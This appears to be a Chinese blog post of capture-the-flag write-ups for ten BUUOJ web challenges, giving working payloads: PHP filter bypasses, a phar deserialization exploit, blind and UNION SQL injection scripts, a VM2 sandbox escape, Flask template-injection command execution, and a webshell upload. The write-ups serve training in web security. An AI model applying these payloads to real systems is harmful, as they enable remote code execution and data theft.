BUUOJ-Web题目-11

[BJDCTF2020]EzPHP

[SWPUCTF 2018]SimplePHP

[NCTF2019]SQLi

[HFCTF2020]JustEscape

[CSCCTF 2019 Qual]FlaskLight

[WUSTCTF2020]CV Maker

[b01lers2020]Welcome to Earth

[b01lers2020]Life on Mars

[RootersCTF2019]I_<3_Flask

[BSidesCF 2019]Pick Tac Toe

[BJDCTF2020]EzPHP

F12看源代码,得到提示后base32解码得到真实地址;

image.png

然后源码解析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
highlight_file(__FILE__);
error_reporting(0);

$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

if($_SERVER){



if(preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}

if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');

if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}

if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");


if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
} ?>

观察绕过策略

第一步:绕过$_SERVER['QUERY_STRING']

1
2
3
4
5
6
if($_SERVER) { 
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}

我们需要知道,在这个数组并不会被urldecode,所以直接把关键字全部转换成URL编码就行。

第二步:绕过$_GET['debu']

1
2
3
4
5
6
if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');

$_GET['debu']在最后使用了全串匹配,可以通过加上%0a来绕过。

第三步:绕过关于$_REQUEST的判断

1
2
3
4
5
6
if($_REQUEST) { 
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}

注意到$_REQUESTPOST会覆盖GET,那么我们只需要POST一个相同的就行。

第四步:绕过$_GET['file']

1
2
if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");

$_GET['file']需要使用data协议,这样就会被正常的处理。

第五步:绕过sha1

1
2
3
4
5
6
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

由于是弱比较所以不需要碰撞,直接用数组绕过处理就好了。

第六步:动态函数执行

1
2
3
4
5
6
7
if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
}

使用create_function新建函数,arg想办法生成合适的调用方式。

因为create_function操作是一个拼接,但是又禁用了一大堆函数,所以我们调用get_defined_vars()来获取一下内容。

image.png

需要读取真正的flag,文件是rea1fl4g.php我们来想想办法。

requirebase64_decode绕过,然而看到了假的flag

image.png

image.png

想想别的办法,注意到没有过滤取反,那我们手工构造一个取反

image.png

image.png

image.png

提供一个简易转换工具,转换完后手工调整取反那一段的脚本就完事了。提示:Python3request库会在发请求时做一些奇特的编码转换,平常正常用很好用,这题很不好用。需要用Burpsuite来处理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import requests
import base64
import urllib.parse as up

url = 'http://6b2cdf27-ae41-42af-9cc1-d5d6b691cda1.node3.buuoj.cn/1nD3x.php'
#url = 'http://requestbin.net/r/x2p7s4x2'

def hex2(s):
ans = hex(ord(s))[2:]
if len(ans) == 1:
ans = '0' + ans
return ans

def encode(s):
ans = ''
for i in s:
ans += '%' + hex2(i)
return ans

def get(dc):
dc2 = []
dc3 = []
for i in dc.keys():
dc2.append(encode(i) + '=1')
for i,j in dc.items():
#print(i,j)
dc3.append(encode(i) + '=' + encode(j))
print('POST:','&'.join(dc2))
print('GET:','&'.join(dc3))

get({
'debu':'aqua_is_cute\n',
'file':'data://text/plain,{0}'.format(encode('debu_debu_aqua')),
'shana[]':'1',
'passwd[]':'2',
'flag[code]':'create_function',
'flag[arg]':'}require(base64_decode(cmVhMWZsNGcucGhw));var_dump(get_defined_vars());//'
})

PHP

1
2
3
$p = 'php://filter/convert.base64-encode/resource=rea1fl4g.php';

print_r(urlencode(~$p));

[SWPUCTF 2018]SimplePHP

显然有个文件上传,不过貌似只能传图片上去,暂时先不管

点击查看文件,注意到地址栏中有个file参数,给这个参数加上内容,发现可以实现文件读取。

file.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php 
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
ini_set('open_basedir','/var/www/html/');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
echo "<h2>There is no file to show!<h2/>";
}
$show = new Show();
if(file_exists($file)) {
$show->source = $file;
$show->_show();
} else if (!empty($file)){
die('file doesn\'t exists.');
}
?>

function.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php 
//show_source(__FILE__);
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
function upload_file_do() {
global $_FILES;
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
//mkdir("upload",0777);
if(file_exists("upload/" . $filename)) {
unlink($filename);
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
echo '<script type="text/javascript">alert("上传成功!");</script>';
}
function upload_file() {
global $_FILES;
if(upload_file_check()) {
upload_file_do();
}
}
function upload_file_check() {
global $_FILES;
$allowed_types = array("gif","jpeg","jpg","png");
$temp = explode(".",$_FILES["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
//echo "<h4>请选择上传的文件:" . "<h4/>";
}
else{
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo '<script type="text/javascript">alert("Invalid file!");</script>';
return false;
}
}
}
?>

class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
<?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}

class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}

}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>

base.php

1
2
3
4
<?php 
session_start();
?>
<!--flag is in f1ag.php-->

注意到class.php中的Show,我们可以发现这个类里面有一句注释,这里可以提示我们可能可以进行phar反序列化。那么,我们只需要构造反序列化利用链就可以了。

研究构造方式:

C1e4r类存在__destruct方法,这个方法会使用echo来打印;(需要__toString方法触发)

Show类存在__toString方法,可以给$content赋值,而这个当变量str是类的时候,会调用__get方法。

Test类存在__get方法,这个方法可以调用get方法,而get方法可以实现文件读取。

那么构造方法也就清楚了:C1e4r类的$str是一个Show类变量,而这个变量的$str['str']则是一个Test类变量,这个新变量的params['source']则是你要读取的文件名。

然后到网上抄一个exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
class C1e4r
{
public $test;
public $str;
}

class Show
{
public $source;
public $str;
}
class Test
{
public $file;
public $params;

}

$c1e4r = new C1e4r();
$show = new Show();
$test = new Test();
$test->params['source'] = "/var/www/html/f1ag.php";
$c1e4r->str = $show; //利用 $this->test = $this->str; echo $this->test;
$show->str['str'] = $test; //利用 $this->str['str']->source;


$phar = new Phar("exp.phar"); //.phar文件
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >'); //固定的
$phar->setMetadata($c1e4r); //触发的头是C1e4r类,所以传入C1e4r对象
$phar->addFromString("exp.txt", "test"); //随便写点什么生成个签名
$phar->stopBuffering();

?>

生成后改后缀名上传;

image.png

进入文件夹查看文件名

image.png

启动反序列化

1
http://89ee238b-c35e-4346-bb13-00dcf13da075.node3.buuoj.cn/file.php?file=phar://upload/288c0ceb887c76c4b0165b0bdf1bb31e.jpg

image.png

里面还有一个一看就知道是原来上传的文件,看一下发现貌似构建的有点问题,也不是拿flag,就手动无视了

[NCTF2019]SQLi

robots.txt,看一下hint.txt

给了过滤名单

1
2
3
4
5
6
$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";


If $_POST['passwd'] === admin's password,

Then you will get the flag;

反斜杠没被过滤,尝试拼接字符串,利用regexp来拼凑布尔盲注

实在不想自己写脚本了,上网抄个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#coding:utf-8
import requests
import time
import string
url = "http://912eb439-57a8-417b-a08b-850db70e7b03.node3.buuoj.cn/"
str_list = "_" + string.ascii_lowercase + string.ascii_uppercase + string.digits

payload = ''
for n in range(100):
print(n)
for i in str_list:
data = {'username':'\\', 'passwd':'||passwd/**/regexp/**/"^{}";\x00'.format(payload+i)}
res = requests.post(url = url, data = data)
if 'welcome.php' in res.text:
payload += i
print(payload)
break
elif res.status_code == 429:
time.sleep(1)

image.png

全小写输入得到flag

image.png

[HFCTF2020]JustEscape

假装是个PHP,不过随便输入些错误信息后去百度报错信息就可以发现是NodeJS

过滤了process关键字,没办法直接执行命令;

然后不会了,去找WP,果然是JS;

先用Error().stack测试是不是JS;

image.png

其实是VM2沙箱逃逸

有三种绕过方式,在这篇文章有详细解释。

我使用了数组的绕过方式

1
?code[]=(function(){ TypeError.prototype.get_process = f=>f.constructor("return process")(); try{ Object.preventExtensions(Buffer.from("")).a = 1; }catch(e){ return e.get_process(()=>{}).mainModule.require("child_process").execSync("cat /flag").toString(); } })();

image.png

[CSCCTF 2019 Qual]FlaskLight

F12看源代码,获得提示

image.png

根据题目名推测是PythonFlask框架,试试SSTI,成功了

image.png

然后命令执行

1
{{''.__class__.__mro__[2].__subclasses__()[258]('ls /',shell=True,stdout=-1).communicate()[0].strip()}}
1
{{''.__class__.__mro__[2].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()}}

image.png

[WUSTCTF2020]CV Maker

注册后上传,直接上传图片马,Burpsuite改文件名后缀为php直接连接Getshell

image.png

image.png

image.png

[b01lers2020]Welcome to Earth

很有意思的题目,一路用Burpsuite卡住,跟着Javascript和源码走,最后一步排列组合一下,就可以拿到flag

抄个脚本

1
2
3
4
5
6
7
8
9
10
#coding:utf-8
from itertools import permutations

flag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"]

item = permutations(flag)
for i in item:
k = ''.join(list(i))
if k.startswith('pctf{hey_boys') and k[-1] == '}':
print(k)

[b01lers2020]Life on Mars

观察JS,发现查询方式,直接SQL注入即可

Payload

数据库名

1
/query?search=amazonis_planitia+union+select+1,group_concat(schema_name)+from+information_schema.schemata

表名

1
/query?search=amazonis_planitia+union+select+1,group_concat(table_name)+from+information_schema.tables+where+table_schema='alien_code'

列名

1
/query?search=amazonis_planitia+union+select+1,group_concat(column_name)+from+information_schema.columns+where+table_name='code'

flag

1
/query?search=amazonis_planitia+union+select+group_concat(id),group_concat(code)+from+alien_code.code

[RootersCTF2019]I_<3_Flask

首先使用Arjun来对参数进行探测。

image.png

探测出来了参数名name。然后直接SSTI

虽然这里不需要我们来进行绕过,但是我们还是假装绕过一下。

1
/?name={{[][%27__class__%27][%27__bases__%27][0][%27__subclasses__%27]()[182][%27__init__%27][%27__globals__%27][%27__builtins__%27][%27eval%27](%22__import__(%27os%27).popen(%27cat%20flag.txt%27).read()%22)}}

image.png

[BSidesCF 2019]Pick Tac Toe

本题可能需要挂个梯子才可以写。。。(在我所处的地方,googleapis没法正常访问)

可以通过覆盖的方式直接把三个棋子连成一条线,直接拿到flag

image.png

image.png


BUUOJ-Web题目-11
http://hexo.init-new-world.com/BUUOJ-Web-ti-mu-11
Author
John Doe
Posted on
October 20, 2020
Licensed under